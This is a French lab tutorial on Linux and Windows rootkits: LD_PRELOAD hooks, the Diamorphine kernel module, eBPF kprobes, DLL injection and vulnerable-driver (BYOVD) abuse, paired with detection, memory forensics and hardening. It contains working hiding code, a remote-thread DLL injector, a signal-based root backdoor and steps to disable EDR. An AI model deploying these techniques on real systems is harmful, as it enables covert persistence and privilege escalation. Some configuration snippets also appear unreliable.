Linux : user‑land • LKM • eBPF (LinkPro, VoidLink, RedBPF, ShadowGuard, SPiCa)
Windows : DLL injection • BYOVD (Bring Your Own Vulnerable Driver)
Attaque, détection, forensics – laboratoire isolé, niveau pro
Les rootkits sont des programmes malveillants conçus pour masquer la présence d’un attaquant sur un système. En 2026, les techniques ont évolué : des simples hooks LD_PRELOAD aux modules kernel (LKM) jusqu’aux rootkits eBPF (la nouvelle génération) et, côté Windows, aux drivers vulnérables (BYOVD). Ce tutoriel vous plonge dans les deux rôles : l’attaquant qui déploie le rootkit, et le défenseur qui le détecte, l’analyse et le neutralise. Tout est réalisé en laboratoire isolé (snapshots, réseau host‑only, kernels récents 6.8/6.12 LTS). À la fin, vous saurez non seulement comment ces outils fonctionnent, mais surtout comment les détecter avec les outils modernes (Tetragon, Falco, bpftool, Volatility, etc.).
6.12 LTS est le plus courant en production (Alma 9.4+, Ubuntu 24.04.2+). 6.6 est EOL fin 2026.linux-headers-$(uname -r)) pour compiler les LKM.VM Cible Linux : Ubuntu 24.04 LTS avec kernel 6.12 LTS (le plus courant en prod 2026).
sudo apt install build-essential linux-headers-$(uname -r) gcc make bpftool linux-tools-$(uname -r) git.echo 0 | sudo tee /proc/sys/kernel/unprivileged_bpf_disabled
# ou via sysctl
sudo sysctl kernel.unprivileged_bpf_disabled=0
# Kernel lockdown peut aussi être désactivé dans GRUB (kernel_lockdown=0)
victime).VM Attaquant (Kali) : Kali Linux, outillée avec gcc, bpftool, python3, metasploit (optionnel).
VM Sniper (analyse) : Ubuntu, avec volatility3, avml, rkhunter, chkrootkit, tetragon, falco.
Réseau : host‑only (192.168.100.0/24).
Principe : La variable d’environnement LD_PRELOAD permet de charger une bibliothèque dynamique avant toutes les autres. En y plaçant nos propres versions de fonctions (ex: readdir, open), on peut masquer des fichiers ou des processus dans les appels système.
// libhide.c – rootkit user-land minimal
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define HIDE_PID 1337
#define HIDE_FILE "secret.txt"
typedef struct dirent* (*orig_readdir_t)(DIR *);
orig_readdir_t orig_readdir = NULL;
// hook de readdir – cache les entrées qui correspondent au PID ou au fichier
struct dirent *readdir(DIR *dirp) {
if (!orig_readdir) orig_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *ent;
while ((ent = orig_readdir(dirp))) {
// Cacher le fichier secret.txt
if (strstr(ent->d_name, HIDE_FILE))
continue;
// Cacher le répertoire /proc/1337
if (strstr(dirp->__dd_buf, "/proc") && strstr(ent->d_name, "1337"))
continue;
return ent;
}
return NULL;
}
// Compilation : gcc -shared -fPIC -o libhide.so libhide.c -ldl
Déploiement :
# Copier sur la cible (via scp, ou créer directement)
scp libhide.so user@cible:/tmp/
ssh user@cible
export LD_PRELOAD=/tmp/libhide.so
# Tester avec un processus
sleep 1337 &
ps aux | grep 1337 # → invisible
# Tester avec un fichier
touch /tmp/secret.txt
ls /tmp | grep secret # → invisible
Détection (côté défense) :
# Rechercher les processus avec LD_PRELOAD
grep -r LD_PRELOAD /proc/*/environ 2>/dev/null | grep -v ""
# Vérifier les bibliothèques chargées (ex: dans un shell suspect)
lsof -p $$ | grep -E "\.so" | grep -vE "libc|ld-linux"
# Outil rkhunter
sudo rkhunter --check | grep -i preload
Principe : Diamorphine est un module kernel moderne qui utilise ftrace pour hooker les appels système (plutôt que de manipuler directement sys_call_table, qui est protégée). Il permet de masquer des processus, des fichiers, des connexions, et même le module lui‑même.
# Sur la VM attaquant, clonez le dépôt officiel
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
# Copier le module sur la cible
scp diamorphine.ko user@cible:/tmp/
# Sur la cible, charger le module (en root)
sudo insmod /tmp/diamorphine.ko
# Masquer un PID (ex: 1337)
echo 1337 > /proc/diamorphine/hide
# Masquer un fichier
echo "/tmp/secret.txt" > /proc/diamorphine/hide_file
# Le module devient invisible dans lsmod (car il se cache lui-même)
lsmod | grep diamorphine # → vide
# Optionnel : activer un backdoor (signal 31 pour obtenir root)
kill -31 1337 # si 1337 est un processus utilisateur, il devient root
Détection :
# 1. Vérifier les modules cachés avec chkrootkit
sudo chkrootkit -q | grep -i diamorphine
# 2. Utiliser volatility sur un dump mémoire
sudo avml /tmp/memdump.raw # (installer avml)
vol -f /tmp/memdump.raw linux.lsmod # affiche tous les modules, même cachés
vol -f /tmp/memdump.raw linux.check_syscall # détecte les hooks
# 3. Observer les traces dans /proc/kallsyms (mais ftrace les rend invisibles ?)
Principe : eBPF (extended Berkeley Packet Filter) permet d’exécuter du code dans le noyau en toute sécurité… en principe. Mais en pratique, on peut utiliser des programmes eBPF pour hooker des fonctions noyau (kprobes) et modifier leur comportement, sans jamais charger un module kernel. Les rootkits eBPF sont très furtifs car ils n’apparaissent pas dans lsmod.
PoC éducatif – SPiCa (inspiré des techniques 2026) :
// spica_kprobe.c – cache un fichier et un PID via kprobe sur getdents64
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/ptrace.h>
char _license[] SEC("license") = "GPL";
#define HIDE_PID 1337
#define HIDE_FILE "secret.txt"
SEC("kprobe/__x64_sys_getdents64")
int hook_getdents(struct pt_regs *ctx) {
// Le second argument de getdents64 est le buffer de résultat (struct linux_dirent64 *)
void *buf = (void *)PT_REGS_PARM2(ctx);
// Ici, il faudrait parcourir le buffer et supprimer les entrées correspondant à HIDE_PID et HIDE_FILE
// La manipulation du buffer en eBPF est complexe (lecture/écriture mémoire).
// Pour un PoC simple, on peut simplement bloquer la lecture du répertoire /proc/1337
// via un filtre sur le chemin. Exemple avec bpf_probe_read_str.
return 0; // laisse passer normalement
}
// Note : un vrai rootkit eBPF doit manipuler le buffer, ce qui nécessite des helpers spécifiques.
// Le code complet dépasse le cadre de ce tutoriel, mais le concept est là.
Compilation et chargement :
clang -O2 -target bpf -c spica_kprobe.c -o spica.o
sudo bpftool prog load spica.o /sys/fs/bpf/spica
sudo bpftool prog attach pinned /sys/fs/bpf/spica kprobe __x64_sys_getdents64
Détection :
# Lister les programmes eBPF chargés
sudo bpftool prog list
# Vérifier les kprobes actifs
sudo cat /sys/kernel/debug/tracing/kprobe_events
# Utiliser Tetragon (outil de détection basé sur eBPF)
sudo tetragon --config tetragon.yaml
# Falco peut aussi détecter les chargements de programmes eBPF suspects
sudo falco -r /etc/falco/falco_rules.yaml | grep -i bpf
Le C2 (ex: Cobalt Strike, Brute Ratel, Sliver) fingerprint le kernel cible (uname -r, /proc/version), compile un programme eBPF sur mesure (avec clang/llvm embarqué ou cross-compile), puis le charge via un loader minimal.
Avantages pour l’attaquant :
Exemple de détection (Tetragon) :
crds:
- kind: TracingPolicy
apiVersion: cilium.io/v1alpha1
metadata:
name: detect-suspicious-kprobe
spec:
kprobes:
- call: "__x64_sys_getdents64"
syscall: true
args:
- index: 0
type: PT_REGS_PARM1
selectors:
- matchPIDs: [0] # tous les processus
matchArgs:
- index: 0
operator: Prefix
values: ["/proc/"]
Principe : Injecter une DLL malveillante dans un processus légitime (ex: explorer.exe) pour masquer des activités ou espionner.
// inject.cpp – injecte une DLL dans un processus cible
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD GetProcessId(const char* procName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnap, &pe)) {
do {
if (!_stricmp(pe.szExeFile, procName)) {
CloseHandle(hSnap);
return pe.th32ProcessID;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}
int main(int argc, char* argv[]) {
if (argc != 3) {
printf("Usage: inject.exe <process_name> <dll_path>\n");
return 1;
}
DWORD pid = GetProcessId(argv[1]);
if (!pid) {
printf("Process not found\n");
return 1;
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) {
printf("OpenProcess failed\n");
return 1;
}
LPVOID pRemoteMem = VirtualAllocEx(hProc, NULL, strlen(argv[2])+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemoteMem, argv[2], strlen(argv[2])+1, NULL);
LPTHREAD_START_ROUTINE pLoadLib = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProc, NULL, 0, pLoadLib, pRemoteMem, 0, NULL);
printf("Injection attempted\n");
CloseHandle(hProc);
return 0;
}
// Compilation (MinGW) : x86_64-w64-mingw32-gcc -o inject.exe inject.cpp
Simulation avec PowerShell (injection simple) :
$process = Get-Process -Name explorer
$handle = $process.Handle
# Utiliser des appels Win32 via Add-Type pour injecter (code plus long)
# Exemple avec CreateRemoteThread
Détection :
# Process Explorer de Sysinternals : afficher les handles et les DLL chargées
# Sysmon Event ID 7 (image loaded) – surveiller les chargements de DLL depuis des chemins suspects
Get-Process | Select-Object -ExpandProperty Modules | Where-Object {$_.FileName -like "*malicious*"}
Principe : Exploiter un driver signé mais vulnérable pour élever ses privilèges ou désactiver des protections (EDR, Defender).
Drivers encore exploités en 2026 (malgré blocklist) :
Microsoft met à jour la Driver Blocklist tous les Patch Tuesday, mais les attaquants trouvent toujours des drivers oubliés ou sideload via des installateurs légitimes.
# Le driver capcom.sys (fichier légitime de Capcom) contient une vulnérabilité permettant d'écrire en mémoire kernel.
# Télécharger le driver (pour test uniquement) et le charger
sc.exe create capcom type= kernel binPath= C:\Temp\capcom.sys
sc.exe start capcom
# Utiliser un outil comme "Capcom.sys Exploit" pour désactiver l'EDR
# Exemple avec un PoC disponible sur GitHub (à adapter)
# Après exploitation, on peut tuer les processus de l'EDR ou modifier des hooks.
Détection :
# Vérifier les services kernel non signés ou récents
sc.exe query type= driver | findstr /i "SERVICE_START"
# Utiliser DriverView de NirSoft pour lister tous les drivers chargés
# Sigcheck de Sysinternas : vérifier les signatures
sigcheck -c C:\Windows\System32\drivers\*.sys | findstr /i "unsigned"
# Microsoft Driver Blocklist (mise à jour KB5025279) bloque les drivers vulnérables connus
# User-land
grep -r LD_PRELOAD /proc/*/environ 2>/dev/null
lsof -p $$ | grep -E "\.so" | grep -vE "libc|ld-linux"
# LKM
sudo chkrootkit -q
sudo rkhunter --check
sudo lsmod | grep -v " " # certains rootkits cachent leur module, mais volatility les voit
# eBPF
sudo bpftool prog list
sudo cat /sys/kernel/debug/tracing/kprobe_events
# DLL injection
Get-Process | Select-Object -ExpandProperty Modules | Group-Object -Property FileName | Where-Object {$_.Count -gt 10}
# BYOVD
Get-WmiObject Win32_SystemDriver | Where-Object {$_.State -eq "Running" -and $_.StartMode -eq "Manual"} | Select-Object Name,PathName
Linux : dump avec avml (plus sûr que LiME).
wget https://github.com/microsoft/avml/releases/download/v0.9.0/avml
chmod +x avml
sudo ./avml /tmp/memdump.raw
Windows : utiliser DumpIt ou WinPmem.
Analyse avec Volatility3 :
# Linux
vol -f memdump.raw linux.lsmod
vol -f memdump.raw linux.pslist
vol -f memdump.raw linux.check_syscall
# Windows
vol -f memdump.raw windows.pslist
vol -f memdump.raw windows.modules
vol -f memdump.raw windows.driverscan
LD_PRELOAD, tuer les processus infectés.sudo rmmod diamorphine (si le nom est connu), sinon redémarrer depuis snapshot.sudo bpftool prog detach pinned /sys/fs/bpf/... ou sudo rm /sys/fs/bpf/*, puis redémarrer.Process Explorer pour voir les handles, forcer la libération.sc.exe stop <driver> puis supprimer le driver, appliquer le correctif de sécurité du fournisseur.| Technique | ID | Plateforme |
|---|---|---|
| Rootkit | T1014 | Linux, Windows |
| Process Injection (LD_PRELOAD, DLL) | T1055 | Linux, Windows |
| Kernel Modules | T1547.006 | Linux (LKM), Windows (drivers) |
| eBPF Hooking | T1027.014 | Linux |
| BYOVD | T1068 | Windows |
kernel_lockdown=1 et CONFIG_LOCK_DOWN_KERNEL empêchent le chargement de modules non signés.
kernel.unprivileged_bpf_disabled=1, CONFIG_BPF_JIT_ALWAYS_ON=y.
Microsoft maintient une liste de drivers vulnérables bloqués (KB5025279 et mises à jour).
Solutions comme CrowdStrike, SentinelOne, Defender for Endpoint détectent les BYOVD.
Tetragon, Falco, Velociraptor, GRR Rapid Response.
La restauration rapide est la seule certitude.
libhide.so, cachez un processus et un fichier. Utilisez grep et rkhunter pour les détecter.bpftool prog list et Tetragon pour détecter.notepad.exe, observez avec Process Explorer et Sysmon.DriverView.Ce tutoriel vous a montré les techniques modernes de rootkits Linux (user‑land, LKM, eBPF) et Windows (DLL injection, BYOVD) du point de vue de l’attaquant et du défenseur. Vous avez appris à les déployer en environnement isolé, mais surtout à les détecter avec des outils de pointe (bpftool, Tetragon, Falco, Volatility) et à mettre en place des contre‑mesures adaptées à 2026. La leçon finale : la sécurité est un équilibre entre connaissance des techniques offensives et mise en place de défenses proactives.